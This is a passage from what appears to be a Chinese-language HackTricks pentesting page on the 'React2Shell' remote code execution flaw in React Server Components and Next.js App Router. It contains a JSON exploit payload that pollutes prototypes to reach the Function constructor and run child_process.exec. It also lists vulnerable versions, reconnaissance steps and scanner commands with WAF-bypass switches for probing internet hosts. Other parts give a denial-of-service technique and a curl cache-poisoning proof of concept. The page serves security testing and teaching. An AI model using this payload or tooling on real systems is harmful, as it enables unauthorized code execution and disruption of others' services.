  2. 绑定到全局 Function 构造函数:_response._formData.get 指向 "$1:constructor:constructor"。在解析过程中,object.constructorObjectObject.constructorFunction,因此后续对 _formData.get() 的调用实际上会执行 Function(...)
  3. 通过 _prefix 执行代码:_response._prefix 中放置 JavaScript 源码。当被污染的 _formData.get 被调用时,框架会评估 Function(_prefix)(...),因此注入的 JS 可以运行 require('child_process').exec() 或任何其他 Node 原语。

Payload 骨架

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

映射 React Server Function 暴露情况

React Server Functions (RSF) 是任何包含 'use server'; 指令的函数。每个绑定到这些函数的 form action、mutation 或 fetch helper 都会变成一个 RSC Flight endpoint,能够反序列化攻击者提供的 payload。以下是从 React2Shell 评估中得出的有用侦查步骤:

  • Static inventory: 查找该指令以了解框架自动暴露了多少个 RSFs。
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • App Router defaults: create-next-app 默认启用 App Router + app/ 目录,这会无声地将每个路由变成一个支持 RSC 的端点。App Router 资产例如 /_next/static/chunks/app/ 或通过 text/x-component 流式传输 Flight chunks 的响应,都是明显的互联网可见指纹。
  • Implicitly vulnerable RSC deployments: React 的官方通告指出,携带 RSC 运行时的应用即便 没有明确的 RSFs 也可能被利用,因此任何使用 react-server-dom-* 19.0.0–19.2.0 的构建都应视为可疑。
  • Other frameworks bundling RSC: Vite RSC、Parcel RSC、React Router RSC preview、RedwoodSDK、Waku 等复用相同的 serializer 并继承完全相同的远程攻击面,直到它们嵌入已修补的 React 构建。

版本覆盖 (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: 易受攻击 于 19.0.0、19.1.0–19.1.1 和 19.2.0;分别在 19.0.1、19.1.2 和 19.2.1 已修补
  • Next.js stable: App Router releases 15.0.0–16.0.6 嵌入了易受攻击的 RSC 堆栈。补丁系列 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 包含已修复的依赖,因此任何低于这些版本的构建都是高价值目标。
  • Next.js canary: 14.3.0-canary.77+ 也随附有问题的运行时,且目前缺乏已修补的 canary 发行,使这些指纹成为强烈的利用候选。

远程检测 oracle

Assetnote’s react2shell-scanner 向候选路径发送精心构造的 multipart Flight 请求并观察服务器端行为:

  • Default mode 执行确定性的 RCE 载荷(通过 X-Action-Redirect 反映的数学运算)以证明代码执行。
  • --safe-check mode 有意损坏 Flight 消息,使已修补的服务器返回 200/400,而易受攻击的目标会发出 HTTP/500 响应,响应体内包含 E{"digest" 子字符串。该 (500 + digest) 对目前是防御方公开的最可靠远程判别信号。
  • 内置的 --waf-bypass--vercel-waf-bypass--windows 开关可以调整载荷布局、前置垃圾数据或替换 OS 命令,从而让你能探测真实的互联网资产。
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

其他近期 App Router 问题(2025 年晚期)

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – 畸形的 Flight payload 可以把 RSC resolver 触发成无限循环(pre-auth DoS),或者强制将已编译的 Server Function 代码序列化以便用于其他操作。App Router builds ≥13.3 在打补丁前均受影响;15.0.x–16.0.x 需要来自上游公告的特定补丁行。复用普通的 Server Action 路径,但以 text/x-component 的 body 流式发送包含滥用 $ 引用的 payload。在 CDN 后面时,挂起的连接会被缓存超时保持打开,令该 DoS 代价很低。
  • 排查提示: 未打补丁的目标在接收畸形 Flight payload 后会返回带有 E{"digest"500;已打补丁的构建返回 400/200。测试任何已经流式返回 Flight chunks 的 endpoint(查找 Next-Action headers 或 text/x-component 响应),并用修改过的 payload 重放。
  1. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – 缺失 Vary 导致 Accept: text/x-component 的响应被缓存,并错误地返回给期望 HTML 的浏览器。单次预热请求就能将页面替换为原始的 RSC payload。PoC 流程:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

如果第二次响应返回的是 JSON Flight 数据而不是 HTML,则该路由可被污染。测试后请清除缓存。

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks